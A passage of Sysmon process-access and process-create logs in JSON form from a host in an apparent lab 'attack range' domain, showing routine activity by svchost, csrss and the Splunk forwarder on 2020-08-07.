12:01:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6886,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:37.650\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A1-5F2D-0000-0010F32F0B00}\r\nTargetProcessId: 2988\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:37.650","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A1-5F2D-0000-0010F32F0B00}","TargetProcessId":"2988","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6887,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.089\r\nProcessGuid: {90617006-42A2-5F2D-0000-0010AD330B00}\r\nProcessId: 3964\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.089","ProcessGuid":"{90617006-42A2-5F2D-0000-0010AD330B00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6888,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.088\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42A2-5F2D-0000-0010AD330B00}\r\nTargetProcessId: 3964\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.088","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42A2-5F2D-0000-0010AD330B00}","TargetProcessId":"3964","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6889,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A2-5F2D-0000-0010AD330B00}\r\nTargetProcessId: 3964\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A2-5F2D-0000-0010AD330B00}","TargetProcessId":"3964","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6890,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6891,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6892,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6893,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6894,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 